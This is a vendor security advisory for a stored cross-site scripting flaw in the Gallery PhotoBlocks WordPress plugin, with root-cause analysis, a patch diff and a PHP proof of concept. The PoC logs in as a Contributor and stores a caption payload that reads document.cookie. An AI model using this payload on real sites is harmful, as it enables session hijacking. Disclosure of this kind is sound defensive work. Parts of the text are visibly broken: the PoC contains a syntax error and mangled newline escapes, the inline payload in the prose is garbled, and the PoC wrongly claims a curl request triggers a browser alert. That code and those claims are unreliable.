Published : November 24, 2026

CVE-2026-121572: Gallery PhotoBlocks <= 1.3.8 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.8
Patched Version 1.3.9
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-121572: Gallery PhotoBlocks plugin for WordPress versions up to and including 1.3.8 contains an authenticated Stored Cross-Site Scripting vulnerability. The flaw resides in the plugin’s gallery management and rendering components, affecting users with Contributor-level privileges or higher. With a CVSS score of 6.4, this vulnerability enables attackers to inject arbitrary web scripts that execute in the browsers of site users, including administrators, whenever an injected page is accessed.

The root cause stems from insufficient input sanitization and output escaping across multiple files. In photoblocks-grid-gallery/includes/class-photoblock.php, the method get_lightbox_caption() returns raw user-controlled data that is output without proper encoding. In public/partials/photoblocks-public-display.php around line 271, the code uses wp_kses_post() on get_lightbox_caption() for the data-caption attribute, but wp_kses_post() allows HTML entities, and lightboxes decode these entities back to HTML, enabling XSS. The diff introduces get_lightbox_caption_attr() to apply htmlspecialchars() after wp_kses_post(). Additionally, several attributes like $block->type (line 197, 234) and $block->colspan(), $block->rowspan(), $block->col(), $block->row() (lines 208-222) lacked proper escaping, allowing attribute injection through manipulated block properties. The gallery ID and link in get_lightbox_attrs() (class-photoblock.php lines 401-410) were also unescaped, permitting breaking out of attribute context.

An attacker with Contributor access can craft a malicious gallery block. They would create or edit a gallery via the admin interface (e.g., /wp-admin/admin.php?page=photoblocks-grid-gallery-edit) and inject payloads into fields such as the lightbox caption, block type, or custom event JavaScript. For example, setting the caption to a string that closes the data-caption attribute and injects an onmouseover event: `”>alert(document.cookie)`. When a victim views the gallery on the front end, the payload executes. Alternatively, the attacker could manipulate the colspan parameter to include an onload handler. The stored payload persists in the database and triggers on every page load containing the gallery.

The patch addresses the vulnerability by enforcing proper escaping and capability checks. It introduces a capability() method defaulting to ‘edit_others_posts’ and replaces ‘edit_posts’ checks across admin class methods (save_gallery, init, load_gallery, menu pages), preventing Contributors from managing galleries unless explicitly granted. Output escaping is added in photoblocks-public-display.php: esc_attr() for type, absint() for numeric attributes, esc_url() for image URLs and links, floatval() for ratio, and the new get_lightbox_caption_attr() that applies htmlspecialchars() after wp_kses_post(). Absolute integer casting for gallery IDs and esc_url for thumb URLs in get_lightbox_attrs() prevent attribute injection. These changes ensure user input is sanitized and output encoded, blocking script execution.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. Consequences include session hijacking, defacement, redirection to malicious sites, theft of sensitive data (CSRF tokens, cookies), and potentially full site takeover via administrative actions performed through XSS. The stored nature means the payload affects all visitors, making it a wormable threat within the site. Sites with multiple contributors are at higher risk due to the low privilege threshold.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/photoblocks-grid-gallery/admin/class-photoblocks-admin.php
+++ b/photoblocks-grid-gallery/admin/class-photoblocks-admin.php
@@ -119,6 +119,15 @@
     }

     /**
+     * Capability required to manage galleries
+     *
+     * @since    1.3.9
+     */
+    public function capability() {
+        return apply_filters( 'photoblocks_capability', 'edit_others_posts' );
+    }
+
+    /**
      * Save gallery
      *
      * @since    1.0.0
@@ -127,7 +136,7 @@
         global $wpdb;
         //error_reporting(E_ALL);
         //ini_set('display_errors', 'On');
-        if ( !current_user_can( 'edit_posts' ) ) {
+        if ( !current_user_can( $this->capability() ) ) {
             exit( 0 );
         }
         if ( check_admin_referer( 'photoblocks', 'photoblocks' ) ) {
@@ -289,7 +298,7 @@
      */
     public function init() {
         global $wpdb;
-        if ( !current_user_can( 'edit_posts' ) || !isset( $_GET['_wpnonce'] ) || !wp_verify_nonce( $_GET['_wpnonce'], 'photoblocks-action-valid' ) ) {
+        if ( !current_user_can( $this->capability() ) || !isset( $_GET['_wpnonce'] ) || !wp_verify_nonce( $_GET['_wpnonce'], 'photoblocks-action-valid' ) ) {
             return;
         }
         if ( isset( $_GET['action'] ) ) {
@@ -443,7 +452,7 @@
         $this->dashboard_page = add_menu_page(
             'Dashboard - PhotoBlocks',
             'PhotoBlocks',
-            'edit_posts',
+            $this->capability(),
             $this->plugin_name,
             array($this, 'dashboard'),
             plugin_dir_url( __FILE__ ) . '/icon.png'
@@ -452,7 +461,7 @@
             $this->plugin_name,
             __( 'Add new', 'photoblocks' ) . ' - PhotoBlocks',
             __( 'Add new', 'photoblocks' ),
-            'edit_posts',
+            $this->capability(),
             $this->plugin_name . '-edit',
             array($this, 'edit')
         );
@@ -460,7 +469,7 @@
             $this->plugin_name,
             __( 'Troubleshooting', 'photoblocks' ) . ' - PhotoBlocks',
             __( 'Troubleshooting', 'photoblocks' ),
-            'edit_posts',
+            $this->capability(),
             $this->plugin_name . '-troubleshooting',
             array($this, 'troubleshooting')
         );
@@ -499,6 +508,10 @@

     public function load_gallery() {
         global $wpdb;
+        if ( !current_user_can( $this->capability() ) ) {
+            exit( 0 );
+        }
+        check_ajax_referer( 'photoblocks', 'photoblocks' );
         $data = null;
         if ( isset( $_POST['id'] ) && !empty( $_POST['id'] ) ) {
             $data = $wpdb->get_row( $wpdb->prepare( 'SELECT * FROM ' . $wpdb->photoblocks . ' WHERE id=%d', intval( $_POST['id'] ) ), ARRAY_A );
--- a/photoblocks-grid-gallery/admin/partials/photoblocks-dashboard.php
+++ b/photoblocks-grid-gallery/admin/partials/photoblocks-dashboard.php
@@ -29,7 +29,7 @@
 					<?php echo esc_html( $g->name ); ?></a>
 					<div class="row-actions">
 						<span class="edit"><a href="<?php echo esc_url( $this->generate_admin_action_link( $g->id ) ); ?>" aria-label="Edit">Edit</a></span>
-						<?php if( current_user_can( 'edit_posts' ) ): ?>
+						<?php if( current_user_can( $this->capability() ) ): ?>
 						<span class="clone"> | <a href="<?php echo esc_url( $this->generate_admin_action_link( $g->id , 'clone' ) ); ?>" data-id="<?php echo esc_attr( $g->id ); ?>" aria-label="Clone">Clone</a></span>
 						<span class="trash"> | <a href="<?php echo esc_url( $this->generate_admin_action_link( $g->id , 'delete' ) ); ?>" data-id="<?php echo esc_attr( $g->id ); ?>" class="submitdelete" aria-label="Delete">Delete</a></span>
 						<?php endif;?>
--- a/photoblocks-grid-gallery/includes/class-photoblock.php
+++ b/photoblocks-grid-gallery/includes/class-photoblock.php
@@ -238,6 +238,11 @@
 		}
 	}

+	// Lightboxes insert the decoded attribute as HTML, so entities must stay encoded after decoding.
+	public function get_lightbox_caption_attr() {
+		return htmlspecialchars( wp_kses_post( (string) $this->get_lightbox_caption() ), ENT_QUOTES, 'UTF-8' );
+	}
+
 	public function has_custom_overlay() {
 		return ! empty( $this->caption->background->color );
 	}
@@ -396,12 +401,12 @@
 		}

 		if ( $this->lightbox() == 'fancybox' ) {
-			$attrs [] = 'data-fancybox="gallery-' . $this->gallery['id'] . '"';
-			$attrs [] = 'data-thumb="' . $this->get_link() . '"';
+			$attrs [] = 'data-fancybox="gallery-' . absint( $this->gallery['id'] ) . '"';
+			$attrs [] = 'data-thumb="' . esc_url( (string) $this->get_link() ) . '"';
 		}

 		if ( $this->lightbox() == 'magnific' ) {
-			$attrs [] = 'data-magnific="gallery-' . $this->gallery['id'] . '"';
+			$attrs [] = 'data-magnific="gallery-' . absint( $this->gallery['id'] ) . '"';
 		}

 		return implode( ' ', $attrs );
--- a/photoblocks-grid-gallery/photoblocks.php
+++ b/photoblocks-grid-gallery/photoblocks.php
@@ -4,7 +4,7 @@
  * Plugin Name:              Gallery PhotoBlocks
  * Plugin URI:               https://photoblocks.io/
  * Description:              Build your unique photo gallery
- * Version:                  1.3.8
+ * Version:                  1.3.9
  * Author:                   WPChill
  * Author URI:               https://wpchill.com
  * Requires:                 5.2 or higher
@@ -15,7 +15,7 @@
  * Domain Path:             /languages
  * Tested up to: 7.2
  * Requires PHP: 5.6
- * Stable tag: 1.3.8
+ * Stable tag: 1.3.9
  * Copyright 2018-2019       GreenTreeLabs     diego@greentreelabs.net
  * Copyright 2019-2020       MachoThemes       office@machothemes.com
  * SVN commit with proof of ownership transfer: https://plugins.trac.wordpress.org/changeset/2163480/photoblocks-grid-gallery
@@ -33,7 +33,7 @@
 if ( !function_exists( 'photoblocks_starter' ) ) {
     function photoblocks_starter() {
         if ( !defined( 'PHOTOBLOCKS_V' ) ) {
-            define( 'PHOTOBLOCKS_V', '1.3.8' );
+            define( 'PHOTOBLOCKS_V', '1.3.9' );
         }
         // If this file is called directly, abort.
         if ( !defined( 'WPINC' ) ) {
--- a/photoblocks-grid-gallery/public/partials/photoblocks-public-display.php
+++ b/photoblocks-grid-gallery/public/partials/photoblocks-public-display.php
@@ -194,7 +194,7 @@
     }
     ?>
             pb-type-<?php
-    echo $block->type;
+    echo esc_attr( $block->type );
     ?>
             <?php
     echo ( $block->type == "post" ? "pb-type-image" : "" );
@@ -206,16 +206,16 @@
             <?php
     ?>
                 data-colspan="<?php
-    echo $block->colspan();
+    echo absint( $block->colspan() );
     ?>"
                 data-rowspan="<?php
-    echo $block->rowspan();
+    echo absint( $block->rowspan() );
     ?>"
                 data-col="<?php
-    echo $block->col();
+    echo absint( $block->col() );
     ?>"
                 data-row="<?php
-    echo $block->row();
+    echo absint( $block->row() );
     ?>"
                 <?php
     if ( $block->type == "image" || $block->type == "post" ) {
@@ -230,10 +230,10 @@
     }
     ?>
                 data-type="<?php
-    echo $block->type;
+    echo esc_attr( $block->type );
     ?>"
                 data-ratio="<?php
-    echo $block->ratio();
+    echo floatval( $block->ratio() );
     ?>">

             <?php
@@ -245,13 +245,13 @@
         ?>"
                     src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg=="
                     data-pb-source="<?php
-        echo $block->get_image_url();
+        echo esc_url( (string) $block->get_image_url() );
         ?>"
                     alt="<?php
         echo $block->get_alt();
         ?>">
                 <noscript><img src="<?php
-        echo $block->image->url;
+        echo esc_url( (string) $block->image->url );
         ?>" alt="<?php
         echo $block->get_alt();
         ?>"></noscript>
@@ -262,7 +262,7 @@
     if ( $block->has_link_or_lightbox() ) {
         ?>
                 <a class="pb-link <?php
-        echo $block->mfp_iframe_class();
+        echo esc_attr( $block->mfp_iframe_class() );
         ?>
                 <?php
         echo esc_attr( $block->get_link_class() );
@@ -271,7 +271,7 @@
         echo $block->get_lightbox_attrs();
         ?>
                 data-caption="<?php
-        echo wp_kses_post( $block->get_lightbox_caption() );
+        echo $block->get_lightbox_caption_attr();
         ?>"
                 rel="<?php
         echo esc_attr( $block->click->rel );
@@ -286,7 +286,7 @@
         }
         ?>
                     href="<?php
-        echo esc_attr( $block->get_link() );
+        echo esc_url( (string) $block->get_link() );
         ?>">
             <?php
     }
@@ -417,13 +417,13 @@
 ?>,
         on: {
             before: function () { <?php
-echo $gallery['custom_event_before'];
+echo ( isset( $gallery['custom_event_before'] ) ? $gallery['custom_event_before'] : '' );
 ?> },
             after: function () { <?php
-echo $gallery['custom_event_after'];
+echo ( isset( $gallery['custom_event_after'] ) ? $gallery['custom_event_after'] : '' );
 ?> },
             refresh: function () { <?php
-echo $gallery['custom_event_refresh'];
+echo ( isset( $gallery['custom_event_refresh'] ) ? $gallery['custom_event_refresh'] : '' );
 ?> }
         },
         <?php

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121572 - Gallery PhotoBlocks <= 1.3.8 - Authenticated (Contributor+) Stored Cross-Site Scripting

$target_url = 'http://target-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Initialize cURL
$ch = curl_init();

// Step 1: Login as Contributor
$login_url = $target_url . '/wp-login.php';
$post_fields = 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.n');
}
echo 'Logged in successfully.n';

// Step 2: Create a new gallery with malicious payload
$admin_url = $target_url . '/wp-admin/admin.php?page=photoblocks-grid-gallery-edit';
// First, fetch the page to get the nonce (if needed) - for simplicity, assume we can POST directly
// In a real scenario, extract the 'photoblocks' nonce from the page source.
$page = curl_exec($ch);
preg_match('/name="photoblocks" value="([^"]+)"/', $page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
    die('Could not extract nonce.n');
}

// Prepare payload: XSS in lightbox caption attribute
// The caption is stored and later output unescaped in data-caption attribute.
$payload = '"><script>alert(document.cookie)</script>';
$post_data = array(
    'action' => 'photoblocks_save_gallery',
    'photoblocks' => $nonce,
    'gallery_name' => 'XSS Test Gallery',
    'gallery_id' => '9999', // arbitrary
    'blocks' => json_encode(array(
        array(
            'type' => 'image',
            'image' => array('url' => 'http://example.com/image.jpg'),
            'caption' => array('lightbox' => $payload),
            'colspan' => '1');
            'rowspan' => '1',
            'col' => '1',
            'row' => '1',
            'ratio' => '1.5',
            'link' => 'http://example.com',
            'lightbox' => 'fancybox'
        )
    ))
);
$save_url = $target_url . '/wp-admin/admin.php?page=photoblocks-grid-gallery-edit';
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Check if save was successful (e.g., redirect or success message)
echo 'Gallery save attempt completed.n';

// Step 3: Trigger the payload by accessing the gallery page
$gallery_url = $target_url . '/?p=9999'; // Assuming gallery is embedded in a post/page
// Alternatively, if the gallery is rendered via shortcode, the attacker would need to insert it into a post.
// For demonstration, we assume the gallery is published and viewable.
curl_setopt($ch, CURLOPT_URL, $gallery_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
echo 'Payload triggered. Check browser console for alert.n';

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.